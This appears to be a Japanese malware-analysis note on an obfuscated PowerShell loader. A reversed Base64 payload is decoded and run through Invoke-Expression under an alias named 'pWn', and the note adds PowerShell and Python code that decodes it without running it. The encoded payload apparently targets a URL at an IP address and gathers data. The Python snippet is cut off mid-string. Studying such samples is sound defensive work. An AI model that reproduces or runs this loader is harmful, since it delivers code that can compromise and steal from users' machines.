QD9BCIgACIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIgACIgoQDlVHbhZlLzVGajRXYN5yXkACIgACIgACIgACIgACIgACIgACIgACIgoQD7BCdjVmai9ULoNWYFJ3bGBCfgMXZoNGdh1EbsFULggXZnVmckAibyVGd0FGUtAyZulmc0NVL0NWZsV2UgwHI05WZ052bDVGbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

$jozeq3n の文字列を反転して base64 でデコードして Invoke-Expression の引数に与えることで実行している.

以下の powershell のスクリプトか,python のコードを実行すると難読化を開場した powershell のコードが得られる.

$jozeq3n = "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IgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
echo $LOaDcODEoPX3ZoUgP2T6cvl3KEK;
from base64 import b64decode

s = '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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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